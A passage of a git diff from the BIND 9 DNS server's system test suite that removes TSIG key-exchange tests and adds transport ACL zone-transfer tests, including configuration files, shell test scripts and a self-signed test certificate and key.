-	isc_socketmgr_t *socketmgr = NULL;
-	isc_socket_t *sock = NULL;
-	unsigned int attrs, attrmask;
-	isc_sockaddr_t bind_any;
-	dns_dispatchmgr_t *dispatchmgr = NULL;
-	dns_dispatch_t *dispatchv4 = NULL;
-	dns_view_t *view = NULL;
-	dns_tkeyctx_t *tctx = NULL;
-	dst_key_t *dstkey = NULL;
-	isc_log_t *log = NULL;
-	isc_logconfig_t *logconfig = NULL;
-	isc_task_t *task = NULL;
-	isc_result_t result;
-	int type;
-
-	RUNCHECK(isc_app_start());
-
-	if (argc < 4) {
-		fprintf(stderr, "I:no key to delete\n");
-		exit(-1);
-	}
-	if (strcmp(argv[1], "-r") == 0) {
-		fprintf(stderr, "I:The -r options has been deprecated\n");
-		exit(-1);
-	}
-	ip_address = argv[1];
-	port = atoi(argv[2]);
-	keyname = argv[3];
-
-	dns_result_register();
-
-	mctx = NULL;
-	isc_mem_create(&mctx);
-
-	log = NULL;
-	logconfig = NULL;
-	isc_log_create(mctx, &log, &logconfig);
-
-	RUNCHECK(dst_lib_init(mctx, NULL));
-
-	isc_managers_create(mctx, 1, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-
-	RUNCHECK(isc_task_create(taskmgr, 0, &task));
-	RUNCHECK(dns_dispatchmgr_create(mctx, &dispatchmgr));
-	isc_sockaddr_any(&bind_any);
-	attrs = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_MAKEQUERY |
-		DNS_DISPATCHATTR_IPV4;
-	attrmask = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_TCP |
-		   DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_IPV6;
-	dispatchv4 = NULL;
-	RUNCHECK(dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr, &bind_any,
-				     4096, 4, 2, 3, 5, attrs, attrmask,
-				     &dispatchv4));
-	requestmgr = NULL;
-	RUNCHECK(dns_requestmgr_create(mctx, timermgr, socketmgr, taskmgr,
-				       dispatchmgr, dispatchv4, NULL,
-				       &requestmgr));
-
-	ring = NULL;
-	RUNCHECK(dns_tsigkeyring_create(mctx, &ring));
-	tctx = NULL;
-	RUNCHECK(dns_tkeyctx_create(mctx, &tctx));
-
-	view = NULL;
-	RUNCHECK(dns_view_create(mctx, 0, "_test", &view));
-	dns_view_setkeyring(view, ring);
-
-	sock = NULL;
-	RUNCHECK(isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp,
-				   &sock));
-
-	RUNCHECK(isc_app_onrun(mctx, task, sendquery, NULL));
-
-	dstkey = NULL;
-	type = DST_TYPE_PUBLIC | DST_TYPE_PRIVATE | DST_TYPE_KEY;
-	result = dst_key_fromnamedfile(keyname, NULL, type, mctx, &dstkey);
-	CHECK("dst_key_fromnamedfile", result);
-	result = dns_tsigkey_createfromkey(dst_key_name(dstkey),
-					   DNS_TSIG_HMACMD5_NAME, dstkey, true,
-					   NULL, 0, 0, mctx, ring, &tsigkey);
-	dst_key_free(&dstkey);
-	CHECK("dns_tsigkey_createfromkey", result);
-
-	(void)isc_app_run();
-
-	dns_requestmgr_shutdown(requestmgr);
-	dns_requestmgr_detach(&requestmgr);
-	dns_dispatch_detach(&dispatchv4);
-	dns_dispatchmgr_destroy(&dispatchmgr);
-	isc_task_shutdown(task);
-	isc_task_detach(&task);
-	isc_socket_detach(&sock);
-	isc_managers_destroy(&netmgr, &taskmgr, &timermgr, &socketmgr);
-
-	dns_tsigkeyring_detach(&ring);
-
-	dns_tsigkey_detach(&tsigkey);
-
-	dns_tkeyctx_destroy(&tctx);
-
-	dns_view_detach(&view);
-
-	isc_log_destroy(&log);
-
-	dst_lib_destroy();
-
-	isc_mem_destroy(&mctx);
-
-	isc_app_finish();
-
-	return (0);
-}
diff --git a/bin/tests/system/tkey/ns1/example.db b/bin/tests/system/tkey/ns1/example.db
deleted file mode 100644
index 7771d2881b..0000000000
--- a/bin/tests/system/tkey/ns1/example.db
+++ /dev/null
@@ -1,25 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 1D
-
-@			IN SOA	ns hostmaster (
-				1
-				3600
-				1800
-				1814400
-				3
-				)
-			NS	ns
-ns			A	10.53.0.1
-mx			MX	10 mail
-a			A	10.53.0.1
-			A	10.53.0.2
-txt			TXT	"this is text"
-
diff --git a/bin/tests/system/tkey/ns1/named.conf.in b/bin/tests/system/tkey/ns1/named.conf.in
deleted file mode 100644
index 198953ad67..0000000000
--- a/bin/tests/system/tkey/ns1/named.conf.in
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify no;
-	tkey-domain "server";
-	tkey-dhkey "server" KEYID;
-	allow-query-cache { any; };
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-key "tkeytest." {
-	algorithm hmac-md5;
-	secret "0123456789ab";
-};
-
-zone example {
-	type primary;
-	file "example.db";
-	allow-query { key tkeytest.; none; };
-};
diff --git a/bin/tests/system/tkey/ns1/setup.sh b/bin/tests/system/tkey/ns1/setup.sh
deleted file mode 100644
index d6d4e41cfb..0000000000
--- a/bin/tests/system/tkey/ns1/setup.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-. ../../conf.sh
-
-keyname=$($KEYGEN -T KEY -a DH -b 768 -n host server)
-keyid=$(keyfile_to_key_id "$keyname")
-sed -i -e "s;KEYID;$keyid;" named.conf
diff --git a/bin/tests/system/tkey/setup.sh b/bin/tests/system/tkey/setup.sh
deleted file mode 100644
index bededf3f7a..0000000000
--- a/bin/tests/system/tkey/setup.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-. ../conf.sh
-
-copy_setports ns1/named.conf.in ns1/named.conf
-
-cd ns1 && $SHELL setup.sh
diff --git a/bin/tests/system/tkey/tests.sh b/bin/tests/system/tkey/tests.sh
deleted file mode 100644
index 3dcfa00030..0000000000
--- a/bin/tests/system/tkey/tests.sh
+++ /dev/null
@@ -1,161 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-. ../conf.sh
-
-dig_with_opts() {
-	"$DIG" @10.53.0.1 -p "$PORT" "$@"
-}
-
-status=0
-n=1
-
-echo_i "generating new DH key ($n)"
-ret=0
-dhkeyname=$($KEYGEN -T KEY -a DH -b 768 -n host client) || ret=1
-if [ $ret != 0 ]; then
-	echo_i "failed"
-	status=$((status+ret))
-	echo_i "exit status: $status"
-	exit $status
-fi
-status=$((status+ret))
-n=$((n+1))
-
-for owner in . foo.example.
-do
-	echo_i "creating new key using owner name \"$owner\" ($n)"
-	ret=0
-	keyname=$($KEYCREATE 10.53.0.1 "$PORT" "$dhkeyname" $owner) || ret=1
-	if [ $ret != 0 ]; then
-		echo_i "failed"
-		status=$((status+ret))
-		echo_i "exit status: $status"
-		exit $status
-	fi
-	status=$((status+ret))
-	n=$((n+1))
-
-	echo_i "checking the new key ($n)"
-	ret=0
-	dig_with_opts txt txt.example -k "$keyname" > dig.out.test$n || ret=1
-	grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
-	grep "TSIG.*hmac-md5.*NOERROR" dig.out.test$n > /dev/null || ret=1
-	grep "Some TSIG could not be validated" dig.out.test$n > /dev/null && ret=1
-	if [ $ret != 0 ]; then
-		echo_i "failed"
-	fi
-	status=$((status+ret))
-	n=$((n+1))
-
-	echo_i "deleting new key ($n)"
-	ret=0
-	$KEYDELETE 10.53.0.1 "$PORT" "$keyname" || ret=1
-	if [ $ret != 0 ]; then
-		echo_i "failed"
-	fi
-	status=$((status+ret))
-	n=$((n+1))
-
-	echo_i "checking that new key has been deleted ($n)"
-	ret=0
-	dig_with_opts txt txt.example -k "$keyname" > dig.out.test$n || ret=1
-	grep "status: NOERROR" dig.out.test$n > /dev/null && ret=1
-	grep "TSIG.*hmac-md5.*NOERROR" dig.out.test$n > /dev/null && ret=1
-	grep "Some TSIG could not be validated" dig.out.test$n > /dev/null || ret=1
-	if [ $ret != 0 ]; then
-		echo_i "failed"
-	fi
-	status=$((status+ret))
-	n=$((n+1))
-done
-
-echo_i "creating new key using owner name bar.example. ($n)"
-ret=0
-keyname=$($KEYCREATE 10.53.0.1 "$PORT" "$dhkeyname" bar.example.) || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-	status=$((status+ret))
-        echo_i "exit status: $status"
-        exit $status
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "checking the key with 'rndc tsig-list' ($n)"
-ret=0
-$RNDC -c ../common/rndc.conf -s 10.53.0.1 -p "$CONTROLPORT" tsig-list > rndc.out.test$n
-grep "key \"bar.example.server" rndc.out.test$n > /dev/null || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "using key in a request ($n)"
-ret=0
-dig_with_opts -k "$keyname" txt.example txt > dig.out.test$n || ret=1
-grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "deleting the key with 'rndc tsig-delete' ($n)"
-ret=0
-$RNDC -c ../common/rndc.conf -s 10.53.0.1 -p "$CONTROLPORT" tsig-delete bar.example.server > /dev/null || ret=1
-$RNDC -c ../common/rndc.conf -s 10.53.0.1 -p "$CONTROLPORT" tsig-list > rndc.out.test$n
-grep "key \"bar.example.server" rndc.out.test$n > /dev/null && ret=1
-dig_with_opts -k "$keyname" txt.example txt > dig.out.test$n || ret=1
-grep "TSIG could not be validated" dig.out.test$n > /dev/null || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "recreating the bar.example. key ($n)"
-ret=0
-keyname=$($KEYCREATE 10.53.0.1 "$PORT" "$dhkeyname" bar.example.) || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-	status=$((status+ret))
-        echo_i "exit status: $status"
-        exit $status
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "checking the new key with 'rndc tsig-list' ($n)"
-ret=0
-$RNDC -c ../common/rndc.conf -s 10.53.0.1 -p "$CONTROLPORT" tsig-list > rndc.out.test$n
-grep "key \"bar.example.server" rndc.out.test$n > /dev/null || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "using the new key in a request ($n)"
-ret=0
-dig_with_opts -k "$keyname" txt.example txt > dig.out.test$n || ret=1
-grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
-if [ $ret != 0 ]; then
-        echo_i "failed"
-fi
-status=$((status+ret))
-n=$((n+1))
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tools/clean.sh b/bin/tests/system/tools/clean.sh
index ca43ab8d36..32a8e9736d 100644
--- a/bin/tests/system/tools/clean.sh
+++ b/bin/tests/system/tools/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/tools/setup.sh b/bin/tests/system/tools/setup.sh
index 1d73e72679..b8ae3b4aa8 100644
--- a/bin/tests/system/tools/setup.sh
+++ b/bin/tests/system/tools/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/tools/tests.sh b/bin/tests/system/tools/tests.sh
index 7339f36a86..a7113cb269 100644
--- a/bin/tests/system/tools/tests.sh
+++ b/bin/tests/system/tools/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,10 +16,11 @@
 status=0
 
 checkout() {
-	case $? in
+	rc=$1
+	case $rc in
 	0) : ok ;;
 	*) echo_i "failed"
-	   status=`expr $status + 1`
+	   status=$((status + 1))
 	   return 1 ;;
 	esac
 	case $out in
@@ -25,7 +28,7 @@ checkout() {
 	*) echo_i "expect $hash"
 	   echo_i "output $out"
 	   echo_i "failed"
-	   status=`expr $status + 1` ;;
+	   status=$((status + 1)) ;;
 	esac
 }
 
@@ -34,12 +37,12 @@ algo=1 flags=0 iters=12 salt="aabbccdd"
 while	read name hash
 do
 	echo_i "checking $NSEC3HASH $name"
-	out=`$NSEC3HASH $salt $algo $iters $name`
-	checkout
+	{ out=$($NSEC3HASH $salt $algo $iters $name); rc=$?; } || true
+	checkout $rc
 
 	echo_i "checking $NSEC3HASH -r $name"
-	out=`$NSEC3HASH -r $algo $flags $iters $salt $name`
-	checkout
+	{ out=$($NSEC3HASH -r $algo $flags $iters $salt $name); rc=$?; } || true
+	checkout $rc
 
 done <<EOF
 *.w.example R53BQ7CC2UVMUBFU5OCMM6PERS9TK9EN
@@ -58,45 +61,47 @@ EOF
 
 # test empty salt
 checkempty() {
-	hash=CK0POJMG874LJREF7EFN8430QVIT8BSM checkout &&
-	hash=- checkout
+	rc=$1
+	hash=CK0POJMG874LJREF7EFN8430QVIT8BSM checkout $rc &&
+	hash=- checkout $rc
 }
 name=com algo=1 flags=1 iters=0
 echo_i "checking $NSEC3HASH '' $name"
-out=`$NSEC3HASH '' $algo $iters $name`
-checkempty
+{ out=$($NSEC3HASH '' $algo $iters $name); rc=$?; } || true
+checkempty $rc
 echo_i "checking $NSEC3HASH - $name"
-out=`$NSEC3HASH - $algo $iters $name`
-checkempty
+{ out=$($NSEC3HASH - $algo $iters $name); rc=$?; } || true
+checkempty $rc
 echo_i "checking $NSEC3HASH -- '' $name"
-out=`$NSEC3HASH -- '' $algo $iters $name`
-checkempty
+{ out=$($NSEC3HASH -- '' $algo $iters $name); rc=$?; } || true
+checkempty $rc
 echo_i "checking $NSEC3HASH -- - $name"
-out=`$NSEC3HASH -- - $algo $iters $name`
-checkempty
+{ out=$($NSEC3HASH -- - $algo $iters $name); rc=$?; } || true
+checkempty $rc
 echo_i "checking $NSEC3HASH -r '' $name"
-out=`$NSEC3HASH -r $algo $flags $iters '' $name`
-checkempty
+{ out=$($NSEC3HASH -r $algo $flags $iters '' $name); rc=$?; } || true
+checkempty $rc
 echo_i "checking $NSEC3HASH -r - $name"
-out=`$NSEC3HASH -r $algo $flags $iters - $name`
-checkempty
+{ out=$($NSEC3HASH -r $algo $flags $iters - $name); rc=$?; } || true
+checkempty $rc
 
 checkfail() {
-	case $? in
+	rc=$1
+	case $rc in
 	0) echo_i "failed to fail"
-	   status=`expr $status + 1`
+	   status=$((status + 1))
 	   return 1 ;;
 	esac
 }
 echo_i "checking $NSEC3HASH missing args"
-out=`$NSEC3HASH 00 1 0 2>&1`
-checkfail
+{ out=$($NSEC3HASH 00 1 0 2>&1); rc=$?; } || true
+checkfail $rc
 echo_i "checking $NSEC3HASH extra args"
-out=`$NSEC3HASH 00 1 0 two names 2>&1`
-checkfail
+{ out=$($NSEC3HASH 00 1 0 two names 2>&1); rc=$?; } || true
+checkfail $rc
 echo_i "checking $NSEC3HASH bad option"
-out=`$NSEC3HASH -? 2>&1`
-checkfail
+{ out=$($NSEC3HASH -? 2>&1); rc=$?; } || true
+checkfail $rc
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tools/tests_sh_tools.py b/bin/tests/system/tools/tests_sh_tools.py
new file mode 100644
index 0000000000..319a0fe63a
--- /dev/null
+++ b/bin/tests/system/tools/tests_sh_tools.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_tools(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/transport-acl/clean.sh b/bin/tests/system/transport-acl/clean.sh
new file mode 100644
index 0000000000..e8d1b95ee5
--- /dev/null
+++ b/bin/tests/system/transport-acl/clean.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# Clean up after zone transfer tests.
+#
+
+rm -f ./*/named.conf
+rm -f ./*/named.memstats
+rm -f ./*/named.run
+rm -f ./*/named.run.prev
+rm -f ./dig.out.*
+rm -f ./*/example.db
+rm -rf ./headers.*
diff --git a/bin/tests/system/transport-acl/ns1/named.conf.in b/bin/tests/system/transport-acl/ns1/named.conf.in
new file mode 100644
index 0000000000..cf0ccd5d70
--- /dev/null
+++ b/bin/tests/system/transport-acl/ns1/named.conf.in
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+tls self-signed {
+	cert-file "../self-signed-cert.pem";
+	key-file "../self-signed-key.pem";
+};
+
+options {
+	pid-file "named.pid";
+	##
+	# generic test
+	listen-on port @PORT@ { 10.53.0.1; };
+	listen-on port @TLSPORT@ tls self-signed { 10.53.0.1; };
+	# test #1
+	listen-on port @EXTRAPORT1@ { 10.53.0.1; };
+	listen-on port @EXTRAPORT1@ tls self-signed { 10.53.0.2; };
+	listen-on port @EXTRAPORT2@ { 10.53.0.1; };
+	listen-on port @EXTRAPORT2@ tls self-signed { 10.53.0.2; };
+	# test #2
+	listen-on port @EXTRAPORT1@ { 10.53.0.3; };
+	listen-on port @EXTRAPORT2@ { 10.53.0.3; };
+	listen-on port @EXTRAPORT1@ tls self-signed { 10.53.0.4; };
+	listen-on port @EXTRAPORT2@ tls self-signed { 10.53.0.4; };
+	# test #3
+	listen-on port @EXTRAPORT3@ tls self-signed { 10.53.0.3; };
+	listen-on port @EXTRAPORT4@ tls self-signed { 10.53.0.3; };
+	listen-on port @EXTRAPORT3@ { 10.53.0.4; };
+	listen-on port @EXTRAPORT4@ { 10.53.0.4; };
+	# test #4
+	listen-on port @EXTRAPORT1@ { 10.53.0.5; };
+	listen-on port @EXTRAPORT2@ { 10.53.0.5; };
+	listen-on port @EXTRAPORT1@ tls self-signed { 10.53.0.6; };
+	# test #5
+	listen-on port @EXTRAPORT3@ tls self-signed { 10.53.0.1; };
+	listen-on port @EXTRAPORT4@ tls self-signed { 10.53.0.1; };
+	listen-on port @EXTRAPORT3@ { 10.53.0.2; };
+	# test #6
+	listen-on port @EXTRAPORT5@ { 10.53.0.1; };
+	# test #7
+	listen-on port @EXTRAPORT6@ tls self-signed  { 10.53.0.1; };
+	# test #7
+	listen-on port @EXTRAPORT7@ tls self-signed  { 10.53.0.1; };
+	# test #8
+	listen-on port @EXTRAPORT8@ { 10.53.0.1; };
+	##
+	listen-on-v6 { none; };
+	recursion no;
+	notify explicit;
+	statistics-file "named.stats";
+	dnssec-validation yes;
+	tcp-initial-timeout 1200;
+};
+
+zone "example0" {
+	type primary;
+	file "example.db";
+	allow-transfer port @TLSPORT@ transport tls { any; };
+};
+
+zone "example1" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT1@ { any; };
+};
+
+zone "example2" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tcp { any; };
+};
+
+zone "example3" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example4" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT1@ transport tcp { any; };
+};
+
+zone "example5" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT3@ transport tls { any; };
+};
+
+zone "example6" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT5@ transport tcp { 10.53.0.7; 10.53.0.8; 10.53.0.9; };
+};
+
+zone "example7" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT6@ transport tls { 10.53.0.7; 10.53.0.8; 10.53.0.9; };
+};
+
+zone "example8" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT7@ transport tls { 10.53.0.1; 10.53.0.2; 10.53.0.3; };
+};
+
+zone "example9" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT8@ transport tcp { 10.53.0.7; !10.53.0.8; 10.53.0.9; };
+};
diff --git a/bin/tests/system/transport-acl/self-signed-cert.pem b/bin/tests/system/transport-acl/self-signed-cert.pem
new file mode 100644
index 0000000000..d56935317f
--- /dev/null
+++ b/bin/tests/system/transport-acl/self-signed-cert.pem
@@ -0,0 +1,28 @@
+-----BEGIN CERTIFICATE-----
+MIIEwTCCAymgAwIBAgIUJm/nnhqH3omkx9PqEyewJhYg/sQwDQYJKoZIhvcNAQEL
+BQAwbzELMAkGA1UEBhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4G
+A1UEBwwHS2hhcmtpdjEMMAoGA1UECgwDSVNDMQ8wDQYDVQQLDAZTVy1FbmcxFTAT
+BgNVBAMMDHRlc3QuaXNjLm9yZzAgFw0yMTExMjkxMTQ0MDRaGA8yMTIxMTEzMDEx
+NDQwNFowbzELMAkGA1UEBhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQ
+MA4GA1UEBwwHS2hhcmtpdjEMMAoGA1UECgwDSVNDMQ8wDQYDVQQLDAZTVy1Fbmcx
+FTATBgNVBAMMDHRlc3QuaXNjLm9yZzCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCC
+AYoCggGBAM8hzYSedQFajsjJKVnZ3BeWLOGULJO2ixQZ/vMnAk6q5a6JFST5DYVA
+G84S8GKzswZibNNuKJnuuQO3mBE2+Pioc+vxtewxlzbcQ2EaKgbx5IVezzHtQUYw
+WUUdSv7ViKOVeaI9jvXqpYUbbtLogSVkPB+/oWU1Wu4y/TkXc4wEqBxQx+P4kNnj
+stCP7r5HMkvBqQgmod5rjqLFohtIQbEhjSBaoK+td25vWUvfG/isduiKx52tC4k3
+CBnBOIfvgkNmJk5Rh3RufbiyBSCtgBcH3wp9VSByqC7roFQqzBkZm0aCmuggNmXb
+OXU7klEyVmAeiqLvfQSkjNsDmlaTsHCszgIB9RPA4f07KV62uFsdOu0K48yXBnEa
+nZeIFqwuTS+PU7T+SnWQGoJLDvCa6IPERqk+5j94BET84/z942WLVqSLlqAoa1rF
+5686m2Dgj10SRUpE99bmVg+HZRwO/ZbkLgu+tILqpYpnKP6n8FDpjW0Jnl77uw9S
+UeAvbGyw5QIDAQABo1MwUTAdBgNVHQ4EFgQUJV5YRDD9iF+uz9AFx5fA86CtlVQw
+HwYDVR0jBBgwFoAUJV5YRDD9iF+uz9AFx5fA86CtlVQwDwYDVR0TAQH/BAUwAwEB
+/zANBgkqhkiG9w0BAQsFAAOCAYEAi8sOMYGFs6n1C23vXorx5Zbbym5QkUVgYbxe
+9VaBy0Y/PgvXaxtz8zytbtFhyU5izXNZ7k8A4vnJ/TGxoIj503ArBMZj+CiwIBVI
+yMzheDp+MY4F19OIy/TsQglYeOEhK/PA9uj5GZYE1Ar6Qck4wl2vk3iaTMsaniyV
+zPqCiso2YDLISSvF3nvLcTQ8nX6JyYR/3J0t5biLcissPvubgzguoULRn2VwWw/7
+MaRXXPMTBTyCAylJrSgfBKvYmJcnHHocTAZkGElDaYHfALlR+5K9wi/QYwz3kFpN
+mS55yjSBlPPxH0rZw8fOdCLNbyzPjP+aXXoTUJa5/X7RNGKQTcuohektsuU1quxo
+lugrRYjhiytqBUek3qtBJfmX28LnfZHyKpDpHO6wykQS7FTWb69c6tvAzlwFbH7o
+onyhZz1Z2iXw4u7N4nTlj1VqHVMiEr2KUfxtOm5HQ7tZFSaWIA0HfIRB7WD3Escz
+DY3Bbu9bS711Yywp+NpvOqBSvMon
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/transport-acl/self-signed-key.pem b/bin/tests/system/transport-acl/self-signed-key.pem
new file mode 100644
index 0000000000..5d9748bac7
--- /dev/null
+++ b/bin/tests/system/transport-acl/self-signed-key.pem
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+MIIG/AIBADANBgkqhkiG9w0BAQEFAASCBuYwggbiAgEAAoIBgQDPIc2EnnUBWo7I
+ySlZ2dwXlizhlCyTtosUGf7zJwJOquWuiRUk+Q2FQBvOEvBis7MGYmzTbiiZ7rkD
+t5gRNvj4qHPr8bXsMZc23ENhGioG8eSFXs8x7UFGMFlFHUr+1YijlXmiPY716qWF
+G27S6IElZDwfv6FlNVruMv05F3OMBKgcUMfj+JDZ47LQj+6+RzJLwakIJqHea46i
+xaIbSEGxIY0gWqCvrXdub1lL3xv4rHboisedrQuJNwgZwTiH74JDZiZOUYd0bn24
+sgUgrYAXB98KfVUgcqgu66BUKswZGZtGgproIDZl2zl1O5JRMlZgHoqi730EpIzb
+A5pWk7BwrM4CAfUTwOH9OyletrhbHTrtCuPMlwZxGp2XiBasLk0vj1O0/kp1kBqC
+Sw7wmuiDxEapPuY/eARE/OP8/eNli1aki5agKGtaxeevOptg4I9dEkVKRPfW5lYP
+h2UcDv2W5C4LvrSC6qWKZyj+p/BQ6Y1tCZ5e+7sPUlHgL2xssOUCAwEAAQKCAYAy
+VN9wy2RZKN0rUx5WNAc0QAy13+CZIDFZeBuokCESZpqbN7pImrA7YeGfyKBbC5mE
+AqS5F7qL9SNGEPXFsRr8qUpJ2hk/xKke7pT84nO17k9+TRSB6EoFOThn//86Pz8N
+qQO+dcDoZtVDq+/ZFiBTqrClclZQlo969C7uEZHFQ1hqUQLRlZP1LkxEO8VivUAu
+gmeFkIWi23X0fZuvj3ZPCX0WkI8dQUSVND95nURZv+bBCQAKg4MbG6E/SOFovrzz
+ohKK2zqSU+ncfWROYX/ulKMJKIhOKtxkprBnj2nSemTUEf5gDk9oDqsYClGmEcSL
+XvNxq3WpVt4u7Fsr1QZ6fh/IYIQnKvI/H0wwYojtzkh3FGdb/K0dnKeoebUqlc9Q
+4UwKGshhcbk2130t/zIdd5wnL5uj+xjh0cYSO5JqlcZwXC97SWDmEowCo8M/k8ie
